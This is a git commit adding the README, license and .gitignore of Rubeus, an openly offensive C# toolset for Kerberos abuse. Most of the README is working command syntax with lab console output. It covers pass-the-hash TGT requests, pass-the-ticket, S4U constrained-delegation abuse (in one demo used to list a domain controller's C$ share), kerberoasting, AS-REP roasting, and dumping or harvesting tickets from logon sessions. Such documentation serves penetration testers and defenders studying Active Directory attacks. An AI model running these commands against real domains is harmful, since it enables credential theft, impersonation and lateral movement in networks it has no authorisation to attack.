initial release
commit
85a1aa42c3
|
@ -0,0 +1,6 @@
|
||||||
|
.vs
|
||||||
|
*.user
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
|
@ -0,0 +1,14 @@
|
||||||
|
Rubeus is provided under the 3-clause BSD license below.
|
||||||
|
|
||||||
|
*************************************************************
|
||||||
|
|
||||||
|
Copyright (c) 2018, Will Schroeder
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,695 @@
|
||||||
|
# Rubeus
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
|
||||||
|
|
||||||
|
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
|
||||||
|
|
||||||
|
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
|
||||||
|
|
||||||
|
Rubeus is licensed under the BSD 3-Clause license.
|
||||||
|
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Rubeus usage:
|
||||||
|
|
||||||
|
Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:
|
||||||
|
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
|
||||||
|
|
||||||
|
Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:
|
||||||
|
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
|
||||||
|
|
||||||
|
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
|
||||||
|
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
|
||||||
|
|
||||||
|
Perform S4U constrained delegation abuse:
|
||||||
|
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
|
||||||
|
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
|
||||||
|
|
||||||
|
Submit a TGT, optionally targeting a specific LUID (if elevated):
|
||||||
|
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
|
||||||
|
|
||||||
|
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
|
||||||
|
Rubeus.exe purge [/luid:LOGINID]
|
||||||
|
|
||||||
|
Parse and describe a ticket (service ticket or TGT):
|
||||||
|
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
|
||||||
|
|
||||||
|
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
|
||||||
|
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]
|
||||||
|
|
||||||
|
Perform Kerberoasting:
|
||||||
|
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
|
||||||
|
|
||||||
|
Perform Kerberoasting with alternate credentials:
|
||||||
|
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
|
||||||
|
|
||||||
|
Perform AS-REP "roasting" for users without preauth:
|
||||||
|
Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
|
||||||
|
|
||||||
|
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
|
||||||
|
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
|
||||||
|
|
||||||
|
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
|
||||||
|
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
|
||||||
|
|
||||||
|
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
|
||||||
|
Rubeus.exe harvest [/interval:MINUTES]
|
||||||
|
|
||||||
|
|
||||||
|
NOTE: Base64 ticket blobs can be decoded with :
|
||||||
|
|
||||||
|
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
|
||||||
|
|
||||||
|
|
||||||
|
## asktgt
|
||||||
|
|
||||||
|
The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed).
|
||||||
|
|
||||||
|
Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Ask TGT
|
||||||
|
|
||||||
|
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 230 bytes
|
||||||
|
[*] Received 1537 bytes
|
||||||
|
[+] TGT request successful!
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
|
||||||
|
...(snip)...
|
||||||
|
|
||||||
|
[*] Action: Import Ticket
|
||||||
|
[+] Ticket successfully imported!
|
||||||
|
|
||||||
|
|
||||||
|
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Create Process (/netonly)
|
||||||
|
|
||||||
|
[*] Showing process : False
|
||||||
|
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
|
||||||
|
[+] ProcessID : 4988
|
||||||
|
[+] LUID : 6241024
|
||||||
|
|
||||||
|
[*] Action: Ask TGT
|
||||||
|
|
||||||
|
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
|
||||||
|
[*] Target LUID : 6241024
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 232 bytes
|
||||||
|
[*] Received 1405 bytes
|
||||||
|
[+] TGT request successful!
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIFFjCCBRKgAwIB...(snip)...
|
||||||
|
|
||||||
|
[*] Action: Import Ticket
|
||||||
|
[*] Target LUID: 0x5f3b00
|
||||||
|
[+] Ticket successfully imported!
|
||||||
|
|
||||||
|
**Note that the /luid and /createnetonly parameters require elevation!**
|
||||||
|
|
||||||
|
|
||||||
|
## renew
|
||||||
|
|
||||||
|
The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
|
||||||
|
|
||||||
|
Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Renew TGT
|
||||||
|
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 1500 bytes
|
||||||
|
[*] Received 1510 bytes
|
||||||
|
[+] TGT renewal request successful!
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
|
||||||
|
...(snip)...
|
||||||
|
|
||||||
|
The **/autorenew** flag will take an existing /ticket .kirbi file, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
|
||||||
|
|
||||||
|
C:\Temp\tickets>Rubeus.exe renew /ticket:doIF...(snip)... /autorenew
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Auto-Renew TGT
|
||||||
|
|
||||||
|
|
||||||
|
[*] User : dfm.a@TESTLAB.LOCAL
|
||||||
|
[*] endtime : 9/20/2018 8:06:17 PM
|
||||||
|
[*] renew-till : 9/27/2018 3:06:17 PM
|
||||||
|
[*] Sleeping for 20 minutes (endTime-30) before the next renewal
|
||||||
|
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
|
||||||
|
|
||||||
|
[*] Action: Renew TGT
|
||||||
|
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 1520 bytes
|
||||||
|
[*] Received 1549 bytes
|
||||||
|
[+] TGT renewal request successful!
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIFujCCBba...(snip)...
|
||||||
|
|
||||||
|
|
||||||
|
[*] User : dfm.a@TESTLAB.LOCAL
|
||||||
|
[*] endtime : 9/20/2018 8:26:00 PM
|
||||||
|
[*] renew-till : 9/27/2018 3:06:17 PM
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
|
## s4u
|
||||||
|
|
||||||
|
The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
|
||||||
|
|
||||||
|
First, a valid TGT/KRB-CRED file is needed for the account with constrained delegation configured. This can be achieved with the **asktgt** action, given the NTLM/RC4 or the aes256_cts_hmac_sha1 hash of the account.
|
||||||
|
|
||||||
|
The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions.
|
||||||
|
|
||||||
|
The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file.
|
||||||
|
|
||||||
|
Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange.
|
||||||
|
|
||||||
|
c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Ask TGT
|
||||||
|
|
||||||
|
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 230 bytes
|
||||||
|
[*] Received 1377 bytes
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIE+jCCBPagAwIBBaE...(snip)...
|
||||||
|
|
||||||
|
c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: S4U
|
||||||
|
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
|
||||||
|
[*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
|
||||||
|
[*] Final ticket will be for the alternate service 'cifs'
|
||||||
|
[*] Sending S4U2self request
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 1437 bytes
|
||||||
|
[*] Received 1574 bytes
|
||||||
|
[+] S4U2self success!
|
||||||
|
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
|
||||||
|
[*] Sending S4U2proxy request
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 2618 bytes
|
||||||
|
[*] Received 1798 bytes
|
||||||
|
[+] S4U2proxy success!
|
||||||
|
[*] Substituting alternative service name 'cifs'
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIGujCCBragAwIBBaEDAgE...(snip)...
|
||||||
|
|
||||||
|
[*] Action: Import Ticket
|
||||||
|
[+] Ticket successfully imported!
|
||||||
|
|
||||||
|
Alternatively using a /user and /rc4 :
|
||||||
|
|
||||||
|
C:\Temp\tickets>dir \\primary.testlab.local\C$
|
||||||
|
The user name or password is incorrect.
|
||||||
|
|
||||||
|
C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Ask TGT
|
||||||
|
|
||||||
|
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 230 bytes
|
||||||
|
[*] Received 1377 bytes
|
||||||
|
[+] TGT request successful!
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIE+jCCBPagAwIBBaEDAg...(snip)...
|
||||||
|
|
||||||
|
[*] Action: S4U
|
||||||
|
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
|
||||||
|
[*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
|
||||||
|
[*] Final ticket will be for the alternate service 'cifs'
|
||||||
|
[*] Sending S4U2self request
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 1437 bytes
|
||||||
|
[*] Received 1574 bytes
|
||||||
|
[+] S4U2self success!
|
||||||
|
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
|
||||||
|
[*] Sending S4U2proxy request
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 2618 bytes
|
||||||
|
[*] Received 1798 bytes
|
||||||
|
[+] S4U2proxy success!
|
||||||
|
[*] Substituting alternative service name 'cifs'
|
||||||
|
[*] base64(ticket.kirbi):
|
||||||
|
|
||||||
|
doIGujCCBragAwIBBaE...(snip)...
|
||||||
|
|
||||||
|
[*] Action: Import Ticket
|
||||||
|
[+] Ticket successfully imported!
|
||||||
|
|
||||||
|
C:\Temp\tickets>dir \\primary.testlab.local\C$
|
||||||
|
Volume in drive \\primary.testlab.local\C$ has no label.
|
||||||
|
Volume Serial Number is A48B-4D68
|
||||||
|
|
||||||
|
Directory of \\primary.testlab.local\C$
|
||||||
|
|
||||||
|
03/05/2017 05:36 PM <DIR> inetpub
|
||||||
|
08/22/2013 08:52 AM <DIR> PerfLogs
|
||||||
|
04/15/2017 06:25 PM <DIR> profiles
|
||||||
|
08/28/2018 12:51 PM <DIR> Program Files
|
||||||
|
08/28/2018 12:51 PM <DIR> Program Files (x86)
|
||||||
|
08/23/2018 06:47 PM <DIR> Temp
|
||||||
|
08/23/2018 04:52 PM <DIR> Users
|
||||||
|
08/23/2018 06:48 PM <DIR> Windows
|
||||||
|
8 Dir(s) 40,679,706,624 bytes free
|
||||||
|
|
||||||
|
|
||||||
|
## ptt
|
||||||
|
|
||||||
|
The **ptt** action will submit a /ticket (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:X. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Import Ticket
|
||||||
|
[+] Ticket successfully imported!
|
||||||
|
|
||||||
|
**Note that the /luid parameter requires elevation!**
|
||||||
|
|
||||||
|
|
||||||
|
## purge
|
||||||
|
|
||||||
|
The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:X.
|
||||||
|
|
||||||
|
C:\Temp\tickets>Rubeus.exe purge
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Purge Tickets
|
||||||
|
[+] Tickets successfully purged!
|
||||||
|
|
||||||
|
C:\Temp\tickets>Rubeus.exe purge /luid:34008685
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Purge Tickets
|
||||||
|
[*] Target LUID: 0x206ee6d
|
||||||
|
[+] Tickets successfully purged!
|
||||||
|
|
||||||
|
**Note that the /luid parameter requires elevation!**
|
||||||
|
|
||||||
|
|
||||||
|
## describe
|
||||||
|
|
||||||
|
The **describe** action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Display Ticket
|
||||||
|
|
||||||
|
UserName : dfm.a
|
||||||
|
UserRealm : TESTLAB.LOCAL
|
||||||
|
ServiceName : krbtgt
|
||||||
|
ServiceRealm : TESTLAB.LOCAL
|
||||||
|
StartTime : 9/17/2018 6:51:00 PM
|
||||||
|
EndTime : 9/17/2018 11:51:00 PM
|
||||||
|
RenewTill : 9/24/2018 4:22:59 PM
|
||||||
|
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
|
||||||
|
KeyType : rc4_hmac
|
||||||
|
Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
|
||||||
|
|
||||||
|
|
||||||
|
## createnetonly
|
||||||
|
|
||||||
|
The **createnetonly** action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:X parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.
|
||||||
|
|
||||||
|
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Create Process (/netonly)
|
||||||
|
|
||||||
|
[*] Showing process : False
|
||||||
|
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
|
||||||
|
[+] ProcessID : 9060
|
||||||
|
[+] LUID : 6290874
|
||||||
|
|
||||||
|
|
||||||
|
## kerberoast
|
||||||
|
|
||||||
|
The **kerberoast** action replaces the [SharpRoast](https://github.com/GhostPack/SharpRoast) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method that was contributed to PowerView by [@machosec](https://twitter.com/machosec) in order to request the proper service ticket. Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.
|
||||||
|
|
||||||
|
With no other arguments, all user accounts with SPNs set in the current domain are kerberoasted. The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU.
|
||||||
|
|
||||||
|
Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduserDOMAIN.FQDN\USER /credpassword:PASSWORD.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: Kerberoasting
|
||||||
|
|
||||||
|
[*] SamAccountName : testuser2
|
||||||
|
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
|
||||||
|
[*] ServicePrincipalName : service/host
|
||||||
|
[*] Hash : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...
|
||||||
|
|
||||||
|
|
||||||
|
## asreproast
|
||||||
|
|
||||||
|
The **asreproast** action replaces the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project which executed similar actions with the (larger sized) [BouncyCastle](https://www.bouncycastle.org/) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting.
|
||||||
|
|
||||||
|
The /user:X parameter is required, while the /domain and /dc arguments are optional, pulling system defaults as other actions do. The [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project has a JohnTheRipper compatible cracking module for this hash type.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe asreproast /user:dfm.a
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
